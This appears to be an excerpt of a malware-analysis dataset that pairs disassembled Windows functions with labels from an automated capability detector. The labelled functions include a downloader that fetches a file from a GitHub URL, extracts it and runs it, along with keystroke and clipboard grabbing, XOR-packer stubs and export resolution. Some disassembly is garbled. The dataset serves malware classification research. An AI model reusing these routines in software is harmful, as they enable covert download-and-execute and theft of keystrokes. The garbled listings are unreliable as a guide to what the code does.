joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c5e8b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100c5ed5
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100c5e7c
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100c5e8b
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x104cbb2e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100c5edc
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.100acd52
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100c5f7b
add edi, 4
add eax, 2
dec ecx
jne 0x100c5ec1
call 0x100c5f28
loope 0x100c5f1e
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100c5f78
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100c5f89
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x100c5f3c
cmp eax, ecx
ja 0x100c5f3c
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100c5fc6
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100c5fbc
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.100ad231
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4017cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x4017cc
lcall 0x5de5, 0x8b10c483
jmp loc.007922a4

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x53764133
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x709a72a7
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x401000
Capabilities:
Create process on windows
Delete file
Download url
Execute command
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push edi
push str.taskkill__F__IM_Dynast.io.exe
call esi
add esp, 4
push 0
push 0
push str.Dynast.io.exe.7z
push str.https:__raw.githubusercontent.com_OldSpectorPvP_OldSpectorPvP_main_Dynast.io.exe.7z
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push str.cmd__c_7z_x_Dynast.io.exe.7z__t7z__y__nul_2_1
mov edi, eax
call esi
add esp, 4
push str.Dynast.io.exe.7z
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x58]
mov dword [ebp - 0x48], 0x44
push eax
lea eax, [ebp - 0x48]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.Dynast.io.exe
push str.Dynast.io.exe
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x58], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x54]
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.004010cd
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4018fe
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40193d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40193d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40193d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40193d
cmp dword [ecx + 0x74], 0xe
jbe 0x40193d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4039b0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x104
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp]
push ebx
push esi
push edi
mov edi, 0x42ec68
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.slib.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x42f5d4], eax
jne 0x403a2b
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SLInit
push eax
call esi
test eax, eax
mov dword [0x42f490], eax
jne 0x403a4c
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov ecx, dword [0x42f5d4]
push str.SLExit
push ecx
call esi
test eax, eax
mov dword [0x42f48c], eax
jne 0x403a6d
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov edx, dword [0x42f5d4]
push str.SLGetKBData
push edx
call esi
test eax, eax
mov dword [0x42f4a4], eax
jne 0x403a8e
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov eax, dword [0x42f5d4]
push str.SLGetChrData
push eax
call esi
test eax, eax
mov dword [0x42f4a0], eax
jne 0x403aae
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov ecx, dword [0x42f5d4]
push str.SLGetSymData
push ecx
call esi
test eax, eax
mov dword [0x42f49c], eax
jne 0x403acf
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov edx, dword [0x42f5d4]
push str.SLKB2Sym
push edx
call esi
test eax, eax
mov dword [0x42f4ac], eax
jne 0x403af0
pop edi
pop esi
pop ebx
add esp, 0x104
ret
mov eax, dword [0x42f5d4]
push str.SLChr2Sym
push eax
call esi
test eax, eax
mov dword [0x42f4a8], eax
jne 0x403b10
pop edi
pop esi
pop ebx
add esp, 0x104
ret
call fcn.00420cdc
mov eax, dword [eax + 4]
push 0x42ec58
push eax
call dword [0x42f490]
add esp, 8
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x403ca0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x104
push ebx
push ebp
mov ebp, dword [esp + 0x110]
push esi
push edi
or ecx, 0xffffffff
lea edi, [ebp + 0x10]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x8000
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp + 0x114]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00409ee1
lea ecx, [esp + 0x18]
mov edi, eax
push 8
push ecx
push edi
call fcn.00409ca3
add esp, 0x14
mov byte [esp + 0x18], 0
mov esi, str.itsndlib
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x403d5b
test cl, cl
je 0x403d57
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x403d5b
add eax, 2
add esi, 2
test cl, cl
jne 0x403d33
xor eax, eax
jmp 0x403d60
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x403d71
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x104
ret
test ebp, ebp
je 0x403d81
push 0x10
push ebp
push edi
call fcn.00409ca3
add esp, 0xc
push edi
call fcn.00409bc3
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x405780
Capabilities:
Resume thread

Disassembly:
mov eax, dword [ecx + 0x68]
test eax, eax
je 0x405791
mov eax, dword [eax + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
ret

Function at 0x4067f0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebx
push esi
call fcn.00406b70
mov esi, dword [0x42f108]
mov eax, 0x42f0ec
neg eax
sbb eax, eax
push 0
and eax, esi
mov dword [0x4318a0], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4068c1
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
jne 0x406839
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
mov eax, 1
pop ebx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
test esi, esi
je 0x4068bb
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [0x431898], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [0x431894], ecx
inc ecx
push ecx
call fcn.00409902
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [0x4319a8], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x4319a8]
push ecx
mov ecx, 0x42f0ec
call fcn.0041b514
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
mov eax, 1
pop ebx
ret
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
xor eax, eax
pop ebx
ret
Function at 0x4068d0
Capabilities:
Log keystrokes

Disassembly:
sub esp, 0x100
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, eax
push 1
push edi
push esi
call ebx
test eax, eax
jne 0x40690c
pop edi
pop esi
pop ebx
add esp, 0x100
ret
push ebp
call dword [sym.imp.USER32.dll_GetFocus]
push 0
push edi
push esi
mov ebp, eax
call ebx
push str.INSTALK_CLIPEVENT
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push str.INSTALK_CLIPMESSAGE
mov edi, eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov ebx, eax
mov eax, dword [esp + 0x114]
test eax, eax
je 0x4069b9
lea eax, [esp + 0x10]
push 0x100
push eax
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
mov esi, str.Edit
lea eax, [esp + 0x10]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x406984
test cl, cl
je 0x406980
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x406984
add eax, 2
add esi, 2
test cl, cl
jne 0x406960
xor eax, eax
jmp 0x406989
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40699e
push 0xffffffffffffffff
push eax
push 0xb1
push ebp
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x4069b9
push 0
push 0x1000
push ebx
push ebp
call dword [sym.imp.USER32.dll_PostMessageA]
push 0xbb8
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x2000
push ebx
push ebp
call dword [sym.imp.USER32.dll_PostMessageA]
push 0xbb8
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x100
ret
Function at 0x406b90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push 0xffffffffffffffff
push 0x4227d7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x14], esi
mov ebx, dword [esp + 0x30]
mov ebp, dword [esp + 0x2c]
mov dword [esp + 0x20], 1
lea eax, [ebx + 1]
mov ecx, dword [ebp - 8]
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp ecx, edi
jge 0x406bf1
mov eax, edi
sub eax, ecx
cmp eax, esi
jle 0x406bef
mov ebp, eax
push 0x55
lea ecx, [esp + 0x30]
call fcn.0041bbdc
dec ebp
jne 0x406bdd
mov ebp, dword [esp + 0x2c]
mov ecx, edi
xor eax, eax
test ecx, ecx
jle 0x406c0f
mov dl, byte [eax + ebp]
mov byte [esp + 0x10], dl
mov edx, dword [esp + 0x10]
and edx, 0xff
add esi, edx
inc eax
cmp eax, ecx
jl 0x406bf7
imul esi, ebx
mov dword [esp + 0x10], esi
push ebx
lea esi, [ecx*8]
call fcn.00409902
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [ebx*4]
xor edi, edi
test eax, eax
jle 0x406ca6
mov eax, dword [esp + 0x10]
cdq
idiv esi
mov ecx, edx
mov eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
and ecx, 0x80000007
jns 0x406c6a
dec ecx
or ecx, 0xfffffff8
inc ecx
mov dl, 1
shl dl, cl
mov ecx, dword [esp + 0x2c]
test byte [eax + ecx], dl
je 0x406c99
mov eax, edi
mov ecx, edi
cdq
and edx, 3
add eax, edx
sar eax, 2
add eax, ebp
and ecx, 0x80000003
jns 0x406c93
dec ecx
or ecx, 0xfffffffc
inc ecx
mov dl, 1
shl dl, cl
or byte [eax], dl
dec esi
inc edi
lea eax, [ebx*4]
cmp edi, eax
jl 0x406c49
mov eax, dword [0x42d758]
mov dword [esp + 0x30], eax
xor esi, esi
mov byte [esp + 0x20], 2
test ebx, ebx
jle 0x406ceb
xor eax, eax
mov al, byte [esi + ebp]
add eax, esi
and eax, 0x8000000f
jns 0x406ccd
dec eax
or eax, 0xfffffff0
inc eax
cmp al, 0xa
mov byte [esi + ebp], al
sbb cl, cl
and cl, 0xf9
add cl, 0x37
add cl, al
push ecx
lea ecx, [esp + 0x34]
call fcn.0041bbdc
inc esi
cmp esi, ebx
jl 0x406cba
push ebp
call fcn.004098ba
mov esi, dword [esp + 0x2c]
add esp, 4
lea edx, [esp + 0x30]
mov ecx, esi
push edx
call fcn.0041b72e
mov dword [esp + 0x14], 1
lea ecx, [esp + 0x30]
mov byte [esp + 0x20], 1
call fcn.0041b9b9
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], 0
call fcn.0041b9b9
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x40ed85
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42e0a0
cmp edx, dword [eax]
je 0x40eda7
add eax, 8
inc ecx
cmp eax, 0x42e130
jl 0x40ed98
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42e0a0]
jne 0x40eed5
mov eax, dword [0x4339c8]
cmp eax, 1
je 0x40eeaf
test eax, eax
jne 0x40edd8
cmp dword [0x42dba8], 1
je 0x40eeaf
cmp edx, 0xfc
je 0x40eed5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40ee0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040f3a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040b1d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40ee52
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040b1d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x427a6c
push edi
call fcn.0040a430
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040f3a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040f3b0
lea eax, [ebp - 0xa0]
push 0x427a4c
push eax
call fcn.0040f3b0
push dword [esi + 0x42e0a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040f3b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00411418
add esp, 0x2c
pop edi
jmp 0x40eed5
lea eax, [ebp + 8]
lea esi, [esi + 0x42e0a4]
push 0
push eax
push dword [esi]
call fcn.0040b1d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x415fd0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040ad70
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41609b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41609b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41604e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x416059
or bh, 8
and edi, 0x8000000
je 0x416074
mov eax, dword [0x43515c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41609b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416470
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41649b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x4164bf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x4164da
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x417c8d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x417caf
cmp dword [edi + 0x3c], 0
jne 0x417caf
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00420cdc
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00417cdc
pop edi
pop esi
pop ebx
ret 8

Function at 0x41801c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x422c2c
call fcn.0040a798
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00420cdc
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x41805b
call fcn.00420cdc
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x418069
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x418077
or eax, 0xffffffff
jmp 0x41815f
mov ecx, esi
call fcn.00417f92
mov dword [ebp - 0x14], eax
call fcn.00418e27
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x4180ae
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x4180ae
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00418ddb
push dword [ebp - 0x14]
call fcn.00418929
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00417d2a
cmp eax, edi
je 0x418121
test byte [esi + 0x24], 0x10
je 0x4180ef
push 4
mov ecx, esi
pop ebx
call fcn.0041b47e
test ah, 1
je 0x4180e7
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0041a9bc
cmp dword [esi + 0x1c], edi
je 0x418121
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0041b5ab
jmp 0x418121
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x418135
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x41814e
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x41814e
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00417fcc
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret